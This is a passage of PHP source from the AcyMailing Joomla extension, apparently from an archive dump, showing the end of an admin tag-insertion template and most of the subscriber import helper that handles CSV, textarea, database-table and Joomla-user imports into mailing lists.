						}else $class = '';
						echo '<a'.$class.' href="'.acymailing_completeLink($this->ctrl.'&task=tag&type='.$this->type.'&fctplug='.$oneFamily->function, true).'" >'.$oneFamily->name.'</a>';
					}
					?>
				</td>
				<?php if(!empty($help) AND acymailing_isAdmin()){ ?>
					<td valign="top">
						<div style="float:right;padding-right:5px;" class="toolbar">
							<?php
							$toolbar = acymailing_get('helper.toolbar');
							$toolbar->help($help);
							?>
							<button onclick="displayDoc();return false;" class="toolbar acymailing_button" style="margin-bottom: 5px;"><i class="acyicon-help" style="margin: 0px 5px;" title="<?php echo acymailing_translation('ACY_HELP'); ?>"></i><?php echo acymailing_translation('ACY_HELP'); ?></button>
						</div>
					</td>
				<?php } ?>
			</tr>
		</table>
		<div id="iframedoc" style="clear:both;position:relative;"></div>
		<div id="inserttagdiv">
			<input type="text" class="inputbox" style="width:300px;" id="tagstring" name="tagstring" value="" onclick="this.select();">
			<button class="acymailing_button" id="insertButton" onclick="insertTag();"><?php echo acymailing_translation('INSERT_TAG') ?></button>
		</div>
		<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off" enctype="multipart/form-data">
			<div id="plugarea">
				<?php echo $this->defaultContent; ?>
			</div>
			<div class="clr"></div>

			<input type="hidden" id="fctplug" name="fctplug" value="<?php echo $this->fctplug; ?>"/>
			<input type="hidden" name="type" value="<?php echo $this->type; ?>"/>
			<input type="hidden" name="defaulttask" value="tag"/>
			<?php acymailing_formOptions(); ?>
		</form>
	</div>
</div>
com_acymailing/helpers/import.php000060400000221407152455305300013210 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acyimportHelper{

	var $importUserInLists = array();
	var $totalInserted = 0;
	var $totalTry = 0;
	var $totalValid = 0;
	var $allSubid = array();
	var $db;
	var $dispatcher;
	var $forceconfirm = false;
	var $charsetConvert;
	var $generatename = true;
	var $overwrite = false;
	var $importblocked = false;
	var $removeSep = 0;
	var $dispresults = true;

	var $tablename = '';
	var $equFields = array();
	var $dbwhere = array(); //handle where on import via filter to only import new users for example

	var $subscribedUsers = array();

	public function __construct(){
		acymailing_increasePerf();
		acymailing_importPlugin('acymailing');
		
		global $acymailingCmsUserVars;
		$this->cmsUserVars = $acymailingCmsUserVars;
	}

	private function getImportedLists(){
		$lists = acymailing_getVar('array', 'importlists', array());

		$newListName = acymailing_getVar('string', 'createlist');
		if(empty($newListName)) return $lists;

		$newList = new stdClass();
		$newList->name = $newListName;
		$newList->published = 1;
		$colors = array('#3366ff', '#7240A4', '#7A157D', '#157D69', '#ECE649');
		$newList->color = $colors[rand(0, count($colors) - 1)];

		$listClass = acymailing_get('class.list');
		$listid = $listClass->save($newList);

		if(!empty($listid)) $lists[$listid] = 1;

		return $lists;
	}

	function database($onlyimport = false){

		$this->forceconfirm = acymailing_getVar('int', 'import_confirmed_database');

		$table = empty($this->tablename) ? trim(acymailing_getVar('string', 'tablename')) : $this->tablename;

		if(empty($table)){
			$listTables = acymailing_getTableList();
			acymailing_enqueueMessage(acymailing_translation_sprintf('SPECIFYTABLE', implode(' | ', $listTables)), 'notice');
			return false;
		}

		if(empty($this->tablename)){
			$newConfig = new stdClass();
			$newConfig->import_db_table = trim(acymailing_getVar('string', 'tablename'));
			$newConfig->import_db_fields = serialize(acymailing_getVar('array', 'fields', array()));

			$config = acymailing_config();
			$config->save($newConfig);
		}

		$fields = acymailing_getColumns($table);
		if(empty($fields)){
			$listTables = acymailing_getTableList();
			acymailing_enqueueMessage(acymailing_translation_sprintf('SPECIFYTABLE', implode(' | ', $listTables)), 'notice');
			return false;
		}

		$fields = array_keys($fields);
		$equivalentFields = empty($this->equFields) ? acymailing_getVar('array', 'fields', array()) : $this->equFields;

		if(empty($equivalentFields['email'])){
			acymailing_enqueueMessage(acymailing_translation('SPECIFYFIELDEMAIL'), 'notice');
			return false;
		}

		$select = array();
		foreach($equivalentFields as $acyField => $tableField){
			$tableField = trim($tableField);
			if(empty($tableField)) continue;
			if(!in_array($tableField, $fields)){
				acymailing_enqueueMessage(acymailing_translation_sprintf('SPECIFYFIELD', $tableField, implode(' | ', $fields)), 'notice');
				return false;
			}
			$select['`'.$acyField.'`'] = '`'.$tableField.'`';
		}

		if(empty($select['`created`'])){
			$select['`created`'] = time();
		}
		if($this->forceconfirm && empty($select['`confirmed`'])){
			$select['`confirmed`'] = 1;
		}

		$query = 'INSERT IGNORE INTO `#__acymailing_subscriber` ('.implode(' , ', array_keys($select)).') SELECT '.implode(' , ', $select).' FROM '.$table.' WHERE '.$select['`email`'].' LIKE \'%@%\'';
		if(!empty($this->dbwhere)) $query .= ' AND ( '.implode(' ) AND (', $this->dbwhere).' )';

		$affectedRows = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $affectedRows));

		if($onlyimport) return true;

		$query = 'SELECT b.subid FROM '.$table.' as a JOIN '.acymailing_table('subscriber').' as b on a.'.$select['`email`'].' = b.`email`';
		$this->allSubid = acymailing_loadResultArray($query);

		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	function textarea(){
		$content = acymailing_getVar('string', 'textareaentries');
		$path = $this->_createUploadFolder();
		$filename = uniqid('import_').'.csv';

		acymailing_writeFile($path.$filename, $content);
		acymailing_setVar('filename', $filename);

		return true;
	}

	private function _createUploadFolder(){
		$folderPath = acymailing_cleanPath(ACYMAILING_ROOT.trim(html_entity_decode(str_replace('/', DS, ACYMAILING_MEDIA_FOLDER).DS.'import'))).DS;
		if(!is_dir($folderPath)){
			acymailing_createDir($folderPath, true, true);
		}

		if(!is_writable($folderPath)){
			@chmod($folderPath, '0755');
			if(!is_writable($folderPath)){
				acymailing_enqueueMessage(acymailing_translation_sprintf('WRITABLE_FOLDER', $folderPath), 'notice');
			}
		}
		return $folderPath;
	}

	function file(){
		$importFile = acymailing_getVar('array', 'importfile', array(), 'files');

		if(empty($importFile['name'])){
			acymailing_enqueueMessage(acymailing_translation('BROWSE_FILE'), 'notice');
			return false;
		}

		$extension = strtolower(acymailing_fileGetExt($importFile['name']));
		if(in_array($extension, array('xls', 'xlsx'))){
			acymailing_display('Excel files are not supported.<br />Please convert your file into CSV :<ol><li>Open your file with Excel</li><li>Select File => Save as...</li><li>For the type, select "CSV (separator: semi-colon) (*.csv)"</li></ol>', 'error');
			return false;
		}

		$fileError = $_FILES['importfile']['error'];
		if($fileError > 0){
			switch($fileError){
				case 1:
					acymailing_display('The uploaded file exceeds the upload_max_filesize directive in php configuration.', 'error');
					return false;
				case 2:
					acymailing_display('The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.', 'error');
					return false;
				case 3:
					acymailing_display('The uploaded file was only partially uploaded.', 'error');
					return false;
				case 4:
					acymailing_display('No file was uploaded.', 'error');
					return false;
				default:
					acymailing_display('Error uploading the file on the server, unknown error '.$fileError, 'error');
					return false;
			}
		}

		$config = acymailing_config();

		$uploadPath = $this->_createUploadFolder();

		$attachment = new stdClass();
		$attachment->filename = uniqid('import_').'.csv';
		acymailing_setVar('filename', $attachment->filename);

		$attachment->size = $importFile['size'];

		if(!preg_match('#\.('.str_replace(array(',', '.'), array('|', '\.'), $config->get('allowedfiles')).')$#Ui', $attachment->filename, $extension) || preg_match('#\.(php.?|.?htm.?|pl|py|jsp|asp|sh|cgi)$#Ui', $attachment->filename)){
			acymailing_enqueueMessage(acymailing_translation_sprintf('ACCEPTED_TYPE', htmlspecialchars(substr($attachment->filename, strrpos($attachment->filename, '.') + 1), ENT_COMPAT, 'UTF-8'), $config->get('allowedfiles')), 'notice');
			return false;
		}

		if(!acymailing_uploadFile($importFile['tmp_name'], $uploadPath.$attachment->filename)){
			if(!move_uploaded_file($importFile['tmp_name'], $uploadPath.$attachment->filename)){
				acymailing_enqueueMessage(acymailing_translation_sprintf('FAIL_UPLOAD', '<b><i>'.htmlspecialchars($importFile['tmp_name'], ENT_COMPAT, 'UTF-8').'</i></b>', '<b><i>'.htmlspecialchars($uploadPath.$attachment->filename, ENT_COMPAT, 'UTF-8').'</i></b>'), 'error');
			}
		}
		return true;
	}

	function finalizeImport(){
		$config = acymailing_config();

		$this->forceconfirm = acymailing_getVar('int', 'import_confirmed');
		$this->generatename = acymailing_getVar('int', 'generatename');
		$this->importblocked = acymailing_getVar('int', 'importblocked');
		$this->overwrite = acymailing_getVar('int', 'overwriteexisting');

		$newConfig = new stdClass();
		$paramTmp = array();
		if($this->forceconfirm == 1) $paramTmp[] = 'import_confirmed';
		if($this->generatename == 1) $paramTmp[] = 'generatename';
		if($this->importblocked == 1) $paramTmp[] = 'importblocked';
		if($this->overwrite == 1) $paramTmp[] = 'overwriteexisting';

		$importParams = 'import_params';
		$newConfig->$importParams = implode(',', $paramTmp);
		$config->save($newConfig);

		$filename = strtolower(acymailing_getVar('cmd', 'filename'));
		$extension = '.'.acymailing_fileGetExt($filename);
		$filename = str_replace(array('.', ' '), '_', substr($filename, 0, strpos($filename, $extension))).$extension;
		$uploadPath = ACYMAILING_MEDIA.'import'.DS.$filename;

		if(!file_exists($uploadPath)){
			acymailing_enqueueMessage('Uploaded file not found: '.$uploadPath, 'error');
			return;
		}

		$importColumns = acymailing_getVar('string', 'import_columns');
		if(empty($importColumns)){
			acymailing_enqueueMessage('Columns not found', 'error');
			return false;
		}
		$columns = explode(',', $importColumns);
		$acyColumns = acymailing_getColumns('#__acymailing_subscriber');
		foreach($columns as $oneColumn){
			if($oneColumn == 1 || $oneColumn == 'listids' || $oneColumn == 'listname' || isset($acyColumns[$oneColumn])) continue; // Ignored or existing column
			$checkColumn = preg_replace('#[^A-Za-z0-9_]#Uis', '', $oneColumn);
			if(empty($checkColumn)){
				acymailing_enqueueMessage('Invalid field name: '.$oneColumn, 'error');
				return false;
			}
			$oneColumn = $checkColumn;

			if(!acymailing_level(3)){ // Make sure we can't create a custom field
				acymailing_enqueueMessage(acymailing_translation('EXTRA_FIELDS').' '.acymailing_translation('ONLY_FROM_ENTERPRISE'), 'error');
				return false;
			}

			if(empty($ordering)){
				$ordering = acymailing_loadResult('SELECT MAX(ordering) FROM #__acymailing_fields');
			}
			$ordering++;
			acymailing_query('ALTER TABLE `#__acymailing_subscriber` ADD `'.acymailing_secureField(strtolower($oneColumn)).'` TEXT NOT NULL DEFAULT ""');
			$query = "INSERT INTO `#__acymailing_fields` (`fieldname`, `namekey`, `type`, `value`, `published`, `ordering`, `options`, `core`, `required`, `backend`, `frontcomp`, `default`, `listing`, `frontlisting`, `frontform`) VALUES
			(".acymailing_escapeDB($oneColumn).", ".acymailing_escapeDB(strtolower($oneColumn)).", 'text', '', 1, ".intval($ordering).", '', 0, 0, 1, 0, '',0,0,1);";
			acymailing_query($query);
		}

		$contentFile = file_get_contents($uploadPath);

		if(acymailing_getVar('cmd', 'charsetconvert', '') != ''){
			$encodingHelper = acymailing_get('helper.encoding');
			$contentFile = $encodingHelper->change($contentFile, acymailing_getVar('cmd', 'charsetconvert'), 'UTF-8');
		}

		$cutContent = str_replace(array("\r\n", "\r"), "\n", $contentFile);
		$allLines = explode("\n", $cutContent);

		$listSeparators = array("\t", ';', ',');
		$separator = ',';
		foreach($listSeparators as $sep){
			if(strpos($allLines[0], $sep) !== false){
				$separator = $sep;
				break;
			}
		}
		$importColumns = str_replace(',', $separator, $importColumns);

		if(strpos($allLines[0], '@')){
			$contentFile = $importColumns."\n".$contentFile;
		}else{
			$allLines[0] = $importColumns;
			$contentFile = implode("\n", $allLines);
		}

		$this->_handleContent($contentFile);
		$this->_displaySubscribedResult();

		unlink($uploadPath);
		$this->_cleanImportFolder();
	}

	public function _cleanImportFolder(){
		
		$files = acymailing_getFiles(ACYMAILING_MEDIA.'import', '.', false, true, array());
		foreach($files as $oneFile){
			if(acymailing_fileGetExt($oneFile) != 'csv') continue;
			if(filectime($oneFile) < time() - 86400) unlink($oneFile);
		}
	}

	public function _handleContent(&$contentFile){
		$success = true;

		$contentFile = str_replace(array("\r\n", "\r"), "\n", $contentFile);
		$importLines = explode("\n", $contentFile);

		$i = 0;
		$this->header = '';
		$this->allSubid = array();
		while(empty($this->header) && $i < 10){
			$this->header = trim($importLines[$i]);
			$i++;
		}

		if(strpos($this->header, '@') && !strpos($this->header, ',') && !strpos($this->header, ';') && !strpos($this->header, "\t")){
			$this->header = 'email';
			$i--;
		}

		if(!$this->_autoDetectHeader()){
			acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_HEADER', htmlspecialchars($this->header, ENT_COMPAT, 'UTF-8')), 'error');
			acymailing_enqueueMessage(acymailing_translation('IMPORT_EMAIL'), 'error');
			acymailing_enqueueMessage(acymailing_translation('IMPORT_EXAMPLE'), 'error');
			return false;
		}

		$numberColumns = count($this->columns);

		$userHelper = acymailing_get('helper.user');

		$encodingHelper = acymailing_get('helper.encoding');

		$importUsers = array();

		$errorLines = array();

		$countUsersBeforeImport = acymailing_loadResult('SELECT COUNT(subid) FROM `#__acymailing_subscriber`');

		$listClass = acymailing_get('class.list');
		$allLists = $listClass->getLists('name');

		while(isset($importLines[$i])){
			if(strpos($importLines[$i], '"') !== false){
				$data = array();
				$j = $i + 1;
				$position = -1;

				while($j < ($i + 30)){

					$quoteOpened = substr($importLines[$i], $position + 1, 1) == '"';

					if($quoteOpened){
						$nextQuotePosition = strpos($importLines[$i], '"', $position + 2);
						while($nextQuotePosition !== false && $nextQuotePosition + 1 != strlen($importLines[$i]) && substr($importLines[$i], $nextQuotePosition + 1, 1) != $this->separator){
							$nextQuotePosition = strpos($importLines[$i], '"', $nextQuotePosition + 1);
						}
						if($nextQuotePosition === false){
							if(!isset($importLines[$j])) break;

							$importLines[$i] .= "\n".$importLines[$j];
							$importLines[$i] = rtrim($importLines[$i], $this->separator);
							unset($importLines[$j]);
							$j++;
							continue;
						}else{

							if(strlen($importLines[$i]) - 1 == $nextQuotePosition){
								$data[] = substr($importLines[$i], $position + 1);
								break;
							}
							$data[] = substr($importLines[$i], $position + 1, $nextQuotePosition + 1 - ($position + 1));
							$position = $nextQuotePosition + 1;
						}
					}else{
						$nextSeparatorPosition = strpos($importLines[$i], $this->separator, $position + 1);
						if($nextSeparatorPosition === false){
							$data[] = substr($importLines[$i], $position + 1);
							break;
						}else{ // If found the next separator, add the value in $data and change the position
							$data[] = substr($importLines[$i], $position + 1, $nextSeparatorPosition - ($position + 1));
							$position = $nextSeparatorPosition;
						}
					}
				}

				$importLines = array_merge($importLines);
			}else{
				$data = explode($this->separator, rtrim(trim($importLines[$i]), $this->separator));
			}

			if(!empty($this->removeSep)){
				for($b = $numberColumns + $this->removeSep - 1; $b >= $numberColumns; $b--){
					if(isset($data[$b]) AND (strlen($data[$b]) == 0 || $data[$b] == ' ')){
						unset($data[$b]);
					}
				}
			}

			$i++;
			if(empty($importLines[$i - 1])) continue;

			$this->totalTry++;
			if(count($data) > $numberColumns){
				$copy = $data;
				foreach($copy as $oneelem => $oneval){
					if(!empty($oneval[0]) AND $oneval[0] == '"' AND $oneval[strlen($oneval) - 1] != '"' AND isset($copy[$oneelem + 1]) AND $copy[$oneelem + 1][strlen($copy[$oneelem + 1]) - 1] == '"'){
						$data[$oneelem] = $copy[$oneelem].$this->separator.$copy[$oneelem + 1];
						unset($data[$oneelem + 1]);
					}
				}
				$data = array_values($data);
			}

			if(count($data) < $numberColumns){
				for($a = count($data); $a < $numberColumns; $a++){
					$data[$a] = '';
				}
			}

			if(count($data) != $numberColumns){
				$success = false;
				static $errorcount = 0;
				if(empty($errorcount)){
					acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_ARGUMENTS', $numberColumns), 'error');
				}
				$errorcount++;
				if($errorcount < 20){
					acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_ERRORLINE', '<b><i>'.htmlspecialchars($importLines[$i - 1], ENT_COMPAT, 'UTF-8').'</i></b>'), 'notice');
				}elseif($errorcount == 20){
					acymailing_enqueueMessage('...', 'notice');
				}

				if($this->totalTry == 1) return false;
				if(empty($errorLines)) $errorLines[] = $importLines[0];
				$errorLines[] = $importLines[$i - 1];
				continue;
			}

			$newUser = new stdClass();

			$emailKey = array_search('email', $this->columns);
			$newUser->email = trim(strip_tags($data[$emailKey]), '\'" ');
			if(!empty($newUser->email)) $newUser->email = acymailing_punycode($newUser->email);
			$newUser->email = trim(str_replace(array(' ', "\t"), '', $encodingHelper->change($newUser->email, 'UTF-8', 'ISO-8859-1')));
			if(!$userHelper->validEmail($newUser->email)){
				$success = false;
				static $errorcountfail = 0;
				$errorcountfail++;
				if($errorcountfail < 10){
					acymailing_enqueueMessage(acymailing_translation_sprintf('NOT_VALID_EMAIL', '<b><i>'.htmlspecialchars($newUser->email, ENT_COMPAT | ENT_IGNORE, 'UTF-8').'</i></b>').' | '.($i - 1).' : '.$importLines[$i - 1], 'notice');
				}elseif($errorcountfail == 10){
					acymailing_enqueueMessage('...', 'notice');
				}
				if(empty($errorLines)) $errorLines[] = $importLines[0];
				$errorLines[] = $importLines[$i - 1];
				continue;
			}

			foreach($data as $num => $value){
				if($num == $emailKey) continue;

				$field = $this->columns[$num];

				if($field == 1) continue;

				if($field == 'listids'){
					$liststosub = explode('-', trim($value, '\'" 	'));
					foreach($liststosub as $onelistid){
						$this->importUserInLists[intval(trim($onelistid))][] = acymailing_escapeDB($newUser->email);
					}
					continue;
				}

				if($field == 'listname'){
					$liststosub = explode('-', trim($value, '\'" 	'));
					foreach($liststosub as $onelistName){
						if(empty($onelistName)) continue;
						$onelistName = trim($onelistName);
						if(empty($allLists[$onelistName])){
							$newList = new stdClass();
							$newList->name = $onelistName;
							$newList->published = 1;
							$colors = array('#3366ff', '#7240A4', '#7A157D', '#157D69', '#ECE649');
							$newList->color = $colors[rand(0, count($colors) - 1)];
							$listid = $listClass->save($newList);
							$newList->listid = $listid;
							$allLists[$onelistName] = $newList;
						}
						$this->importUserInLists[intval($allLists[$onelistName]->listid)][] = acymailing_escapeDB($newUser->email);
					}
					continue;
				}

				if($value == 'null'){
					$newUser->$field = '';
				}else{
					$newUser->$field = trim(strip_tags($value), '\'" 	');
				}
			}

			unset($newUser->subid);
			unset($newUser->userid);

			$importUsers[] = $newUser;
			$this->totalValid++;

			if($this->totalValid % 50 == 0){
				$this->_insertUsers($importUsers);
				$importUsers = array();
			}
		}

		if(!empty($errorLines)){
			$filename = strtolower(acymailing_getVar('cmd', 'filename', ''));
			if(!empty($filename)){
				$extension = '.'.acymailing_fileGetExt($filename);
				$filename = str_replace(array('.', ' '), '_', substr($filename, 0, strpos($filename, $extension))).$extension;
				$errorFile = implode("\n", $errorLines);
				acymailing_writeFile(ACYMAILING_MEDIA.'import'.DS.'error_'.$filename, $errorFile);
				acymailing_enqueueMessage('<a target="_blank" href="'.acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'data&task=downloadimport').'&filename=error_'.preg_replace('#\.[^.]*$#', '', $filename).'" >'.acymailing_translation('ACY_DOWNLOAD_IMPORT_ERRORS').'</a>', 'notice');
			}
		}
		$this->_insertUsers($importUsers);

		$countUsersAfterImport = acymailing_loadResult('SELECT COUNT(subid) FROM `#__acymailing_subscriber`');
		$this->totalInserted = $countUsersAfterImport - $countUsersBeforeImport;

		if($this->dispresults){
			acymailing_enqueueMessage(acymailing_translation_sprintf('ACY_IMPORT_REPORT', $this->totalTry, $this->totalInserted, $this->totalTry - $this->totalValid, $this->totalValid - $this->totalInserted));
		}

		$this->_subscribeUsers();
		return $success;
	}

	function _subscribeUsers(){

		if(empty($this->allSubid)) return true;

		$subdate = time();

		$listClass = acymailing_get('class.list');

		if(empty($this->importUserInLists)){
			$lists = $this->getImportedLists();

			if(acymailing_level(3)){
				$campaignClass = acymailing_get('helper.campaign');
				$listCampaign = $listClass->getCampaigns(array_keys($lists));
			}else{
				$listCampaign = array();
			}

			foreach($lists as $listid => $val){
				if(empty($val)) continue;

				if($val == -1){
					$dateColumn = 'unsubdate';
					$status = -1;
				}else{
					$dateColumn = 'subdate';
					$status = 1;
				}

				$nbsubscribed = 0;
				$listid = (int)$listid;
				$query = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (listid,subid,'.$dateColumn.',status) VALUES ';
				$b = 0;
				$currentSubids = array();
				foreach($this->allSubid as $subid){
					$currentSubids[] = $subid;
					$b++;

					if($b > 200){
						$query = rtrim($query, ',');
						if($val == -1){
							$query .= ' ON DUPLICATE KEY UPDATE status = -1';
							$nbsubscribed = -acymailing_loadResult('SELECT COUNT(*) FROM #__acymailing_listsub WHERE listid = '.$listid.' AND status != -1 AND subid IN ('.implode(',', $currentSubids).')');
						}
						$affected = acymailing_query($query);
						$nbsubscribed += intval($affected);
						$b = 0;
						$currentSubids = array();
						$query = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (listid,subid,'.$dateColumn.',status) VALUES ';
					}

					$query .= "($listid,$subid,$subdate,$status),";
				}
				$query = rtrim($query, ',');
				if($val == -1){
					$query .= ' ON DUPLICATE KEY UPDATE status = -1';
					if(!empty($currentSubids)){
						$nbsubscribed = -acymailing_loadResult('SELECT COUNT(*) FROM #__acymailing_listsub WHERE listid = '.$listid.' AND status != -1 AND subid IN ('.implode(',', $currentSubids).')');
					}
				}
				$affected = acymailing_query($query);
				$nbsubscribed += intval($affected);

				if(isset($this->subscribedUsers[$listid])){
					$this->subscribedUsers[$listid]->nbusers += $nbsubscribed;
				}else{
					$myList = $listClass->get($listid);
					$myList->status = $val;
					$this->subscribedUsers[$listid] = $myList;
					$this->subscribedUsers[$listid]->nbusers = $nbsubscribed;
				}

				if(in_array($val, array(2, -1)) && !empty($listCampaign[$listid])){
					$function = $val == 2 ? 'autoSubCampaign' : 'unsubCampaign';
					foreach($listCampaign[$listid] as $campaignId){
						$campaignClass->$function($this->allSubid, $campaignId);
					}
				}
			}
		}else{
			foreach($this->importUserInLists as $listid => $arrayEmails){
				if(empty($listid)) continue;

				$listid = (int)$listid;
				$query = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (listid,subid,subdate,status) ';
				$query .= "SELECT $listid,`subid`,$subdate,1 FROM ".acymailing_table('subscriber')." WHERE `email` IN (";
				$query .= implode(',', $arrayEmails).')';
				$nbsubscribed = acymailing_query($query);
				$nbsubscribed = intval($nbsubscribed);

				if(isset($this->subscribedUsers[$listid])){
					$this->subscribedUsers[$listid]->nbusers += $nbsubscribed;
				}else{
					$myList = $listClass->get($listid);
					$this->subscribedUsers[$listid] = $myList;
					$this->subscribedUsers[$listid]->nbusers = $nbsubscribed;
				}
			}
		}

		return true;
	}

	function _displaySubscribedResult(){
		foreach($this->subscribedUsers as $myList){
			if(empty($myList->status) || $myList->status != -1){
				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $myList->nbusers, '<b><i>'.$myList->name.'</i></b>'));
			}else{
				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_UNSUBSCRIBE_CONFIRMATION', $myList->nbusers, '<b><i>'.$myList->name.'</i></b>'));
			}
		}
	}

	function _insertUsers($users){
		if(empty($users)) return true;

		$importedCols = array_keys(get_object_vars($users[0]));
		if($this->forceconfirm) $importedCols[] = 'confirmed';
		if($this->importblocked) $importedCols[] = 'enabled';

		foreach($users as $a => $oneUser){
			$this->_checkData($users[$a]);
		}

		$columns = reset($users);
		$colNames = array_keys(get_object_vars($columns));

		acymailing_trigger('onAcyBeforeUserImport', array(&$users));

		$query = 'INSERT'.($this->overwrite ? '' : ' IGNORE').' INTO '.acymailing_table('subscriber').' (`'.implode('`,`', $colNames).'`) VALUES (';
		$values = array();
		$allemails = array();
		foreach($users as $a => $oneUser){
			$value = array();
			acymailing_trigger('onAcyBeforeUserImport', array(&$oneUser));
			foreach($oneUser as $map => $oneValue){
				if($map == 'enabled' && !empty($this->importblocked) && $this->importblocked == true){
					$value[] = 0;
				}elseif($map != 'subid'){
					$value[] = acymailing_escapeDB($oneValue);
				}else{
					$value[] = $oneValue;
				}
				if($map == 'email'){
					$allemails[] = acymailing_escapeDB($oneValue);
				}
			}
			$values[] = implode(',', $value);
		}
		$query .= implode('),(', $values).')';
		if($this->overwrite){
			$query .= ' ON DUPLICATE KEY UPDATE ';
			foreach($importedCols as &$oneColumn){
				$oneColumn = '`'.$oneColumn.'`=VALUES(`'.$oneColumn.'`)';
			}
			$query .= implode(',', $importedCols);
		}

		acymailing_query($query);

		acymailing_trigger('onAcyAfterUserImport', array(&$users));

		$this->allSubid = array_merge($this->allSubid, acymailing_loadResultArray('SELECT subid FROM '.acymailing_table('subscriber').' WHERE email IN ('.implode(',', $allemails).')'));

		return true;
	}


	function _checkData(&$user){
		if(empty($user->created)){
			$user->created = time();
		}elseif(!is_numeric($user->created)) $user->created = strtotime($user->created);

		if(!isset($user->accept) || strlen($user->accept) == 0) $user->accept = 1;
		if(!isset($user->enabled) || strlen($user->enabled) == 0) $user->enabled = 1;
		if(!isset($user->html) || strlen($user->html) == 0) $user->html = 1;
		if(empty($user->source)) $user->source = 'import';

		if(!empty($user->confirmed_date) && !is_numeric($user->confirmed_date)) $user->confirmed_date = strtotime($user->confirmed_date);
		if(!empty($user->lastclick_date) && !is_numeric($user->lastclick_date)) $user->lastclick_date = strtotime($user->lastclick_date);
		if(!empty($user->lastopen_date) && !is_numeric($user->lastopen_date)) $user->lastopen_date = strtotime($user->lastopen_date);
		if(!empty($user->lastsent_date) && !is_numeric($user->lastsent_date)) $user->lastsent_date = strtotime($user->lastsent_date);


		if(empty($user->name) AND $this->generatename) $user->name = ucwords(trim(str_replace(array('.', '_', '-', 1, 2, 3, 4, 5, 6, 7, 8, 9, 0), ' ', substr($user->email, 0, strpos($user->email, '@')))));

		if((!isset($user->confirmed) || strlen($user->confirmed) == 0) AND $this->forceconfirm) $user->confirmed = 1;

		if(empty($user->key)) $user->key = acymailing_generateKey(14);
	}


	function _autoDetectHeader(){
		$this->separator = ',';

		$this->header = str_replace("\xEF\xBB\xBF", "", $this->header);

		$listSeparators = array("\t", ';', ',');
		foreach($listSeparators as $sep){
			if(strpos($this->header, $sep) !== false){
				$this->separator = $sep;
				break;
			}
		}


		$this->columns = explode($this->separator, $this->header);

		for($i = count($this->columns) - 1; $i >= 0; $i--){
			if(strlen($this->columns[$i]) == 0){
				unset($this->columns[$i]);
				$this->removeSep++;
			}
		}

		$columns = acymailing_getColumns('#__acymailing_subscriber');
		foreach($columns as $i => $oneColumn){
			$columns[strtolower($i)] = $oneColumn;
		}

		foreach($this->columns as $i => $oneColumn){
			$this->columns[$i] = strtolower(trim($oneColumn, '\'" '));
			if(in_array($this->columns[$i], array('listids', 'listname'))) continue;
			if(!isset($columns[$this->columns[$i]]) && $this->columns[$i] != 1){
				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_ERROR_FIELD', '<b><i>'.htmlspecialchars($this->columns[$i], ENT_COMPAT, 'UTF-8').'</i></b>', implode(' | ', array_diff(array_keys($columns), array('subid', 'userid', 'key')))), 'error');
				return false;
			}
		}

		if(!in_array('email', $this->columns)) return false;

		return true;
	}

	function joomla(){
		$query = 'UPDATE IGNORE '.acymailing_table($this->cmsUserVars->table, false).' as b, '.acymailing_table('subscriber').' as a SET a.email = b.'.$this->cmsUserVars->email.', a.name = b.'.$this->cmsUserVars->name.', a.enabled = 1 - b.block WHERE a.userid = b.'.$this->cmsUserVars->id.' AND a.userid > 0';
		$nbUpdated = acymailing_query($query);

		$query = 'UPDATE IGNORE '.acymailing_table($this->cmsUserVars->table, false).' as b, '.acymailing_table('subscriber').' as a SET a.userid = b.'.$this->cmsUserVars->id.' WHERE a.email = b.'.$this->cmsUserVars->email;
		$affected = acymailing_query($query);
		$nbUpdated += intval($affected);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_UPDATE', $nbUpdated));

		$query = 'SELECT subid FROM '.acymailing_table('subscriber').' as a LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' as b on a.userid = b.'.$this->cmsUserVars->id.' WHERE b.'.$this->cmsUserVars->id.' IS NULL AND a.userid > 0';
		$deletedSubid = acymailing_loadResultArray($query);

		$query = 'SELECT subid FROM '.acymailing_table('subscriber').' as a LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' as b on a.email = b.'.$this->cmsUserVars->email.' WHERE b.'.$this->cmsUserVars->id.' IS NULL AND a.userid > 0';
		$deletedSubid = array_merge(acymailing_loadResultArray($query), $deletedSubid);

		if(!empty($deletedSubid)){
			$userClass = acymailing_get('class.subscriber');
			$deletedUsers = $userClass->delete($deletedSubid);
			acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_DELETE', $deletedUsers));
		}

		$time = time();
		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`userid`,`created`,`enabled`,`accept`,`html`) SELECT `'.$this->cmsUserVars->email.'`,`'.$this->cmsUserVars->name.'`,1-`'.$this->cmsUserVars->blocked.'`,`'.$this->cmsUserVars->id.'`,UNIX_TIMESTAMP(`'.$this->cmsUserVars->registered.'`),1-`'.$this->cmsUserVars->blocked.'`,1,1 FROM '.acymailing_table($this->cmsUserVars->table, false);
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		$lists = $this->getImportedLists();
		$listsSubscribe = array();
		foreach($lists as $listid => $val){
			if(!empty($val)) $listsSubscribe[] = (int)$listid;
		}

		if(empty($listsSubscribe)) return true;

		if(acymailing_level(3)){
